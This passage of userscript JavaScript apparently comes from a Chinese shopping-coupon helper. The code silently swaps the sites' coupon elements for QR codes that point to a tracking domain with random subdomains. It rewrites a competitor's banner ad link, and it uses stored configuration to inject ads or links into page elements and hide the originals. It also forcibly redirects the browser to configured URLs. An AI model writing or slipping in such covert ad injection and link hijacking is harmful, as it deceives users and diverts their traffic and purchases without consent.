$('.minicoupon_detail').before('<div style="display:none;" id="zkdqrcode_xp"></div>');
var zkdmmxmi =  /(?:&|\?)id=(\d{10,13})/.exec(window.location.href);
  $('#zkdqrcode_xp').qrcode('http://'+randomaasxString(2)+'.'+randomaasxString(2)+'.dadiyouhui.cn/test_tongji.php?dj='+Number(zkdmmxmi[1]).toString(16)+'&type=1&zkd=t');
  var zkdewmca=$("#zkdqrcode_xp").find("canvas")[0];
  var zkdsrc_xp=zkdewmca.toDataURL('image/jpeg');
$('.minicoupon_detail').before('<div class="zkdminicoupon_detail" id="zkdxxasdwema">  <img src="'+zkdsrc_xp+'"><span>微信扫码快捷领券</span></div>' );
$(".minicoupon_detail").remove();
$(".zkdminicoupon_detail").attr("class","minicoupon_detail");
$('.coupon_detail').before('<div class="zkdcoupon_detail" id="zkdxxasdwemb">  <img src="'+zkdsrc_xp+'"><span>微信扫码快捷领券</span></div>' );
$(".coupon_detail").remove();
$(".zkdcoupon_detail").attr("class","coupon_detail");
}
	if($("#gwdang-banner-ad").length>0){
		$("#gwdang-banner-ad").attr("href","http://www.dadiyouhui.cn/url/rnXfb5");
		}
},5000);

var zkdzztime=Date.parse(new Date())/1000;
var zkdotime=(new Date(new Date().toLocaleDateString()).getTime())/1000;


 var jcsfzkddds=0;

	
		if (GM_getValue('test') && window.top == window.self ){

var datatest = GM_getValue('test');


for (var j=0;j<datatest.length;j++){

if (datatest[j]['kg']==1){
           if (urla.indexOf(datatest[j]['ym']) >= 0 && Math.ceil(Math.random()*datatest[j]['gl']) ==1) {
           	

for (var k=0;k<datatest[j]['kw'].length;k++){
	
     if ($('#zkdgden').length <= 0   &&  $(datatest[j]['kw'][k]).length>0 ) {
     
   

           if (  datatest[j]['sj'][k] >1) {	 
           	   datatest[j]['kw'][k]=datatest[j]['kw'][k]+':eq('+Math.floor(Math.random()*(2 - datatest[j]['sj'][k]) + datatest[j]['sj'][k])+')';}else {	 
           datatest[j]['kw'][k]=datatest[j]['kw'][k]+':eq(0)';}
           	   var testdtype=0
           
           	      if (  datatest[j]['type'][k]==1 ) {
           	      	  testdtype=1
           	      	   }
           	    
              if (  testdtype==1 ) {
                $(datatest[j]['kw'][k]).html('<a href="'+datatest[j]['dz'][k]+'" class="" rel="noopener noreferrer"><b>'+datatest[j]['txt'][k]+'<b></a>' );

           	      }	 else   {
           	      	  
                $(datatest[j]['kw'][k]).before('<div id="zkdgden"><a href="'+datatest[j]['dz'][k]+'" target="_blank" rel="noopener noreferrer"><img src="'+datatest[j]['pic'][k]+'" style="width:100%;max-width: 700px;" ></a></div>' );
              }
 
     
   
      if (  datatest[j]['yc'][k] ==1) {
        		$(datatest[j]['kw'][k]).hide();
        	
        		       
        }	
           
        break;
   }
		   }
               }
}
}

}



if (GM_getValue('testen')){

    var datatesten = GM_getValue('testen');


    var testensa =0;
    for (var x=0;x<datatesten.length;x++){

        testensa =0;
    if (GM_getValue('testen'+x)){
    }else{  GM_setValue('testen'+x, 0) }
    
    if (datatesten[x]['kg']==1){


        if (datatesten[x]['ymt']==0){
        }else{
            if (urla.length>datatesten[x]['ymt']){
                testensa =1;
            }

        }
        

               if (testensa==0 && urla.indexOf(datatesten[x]['ym']) >= 0 && urla.indexOf(datatesten[x]['ymz']) >= 0  && GM_getValue('testen'+x)<zkdzztime && localcsace< (zkdtime-jcsxyxdus) ) {
         GM_setValue('testen'+x, zkdzztime+datatesten[x]['sj']);
         $("meta:eq(0)").after(zkdnever);
       window.location.href=datatesten[x]['dz'];
            break;
    }

    }
    }
    
    }


	



});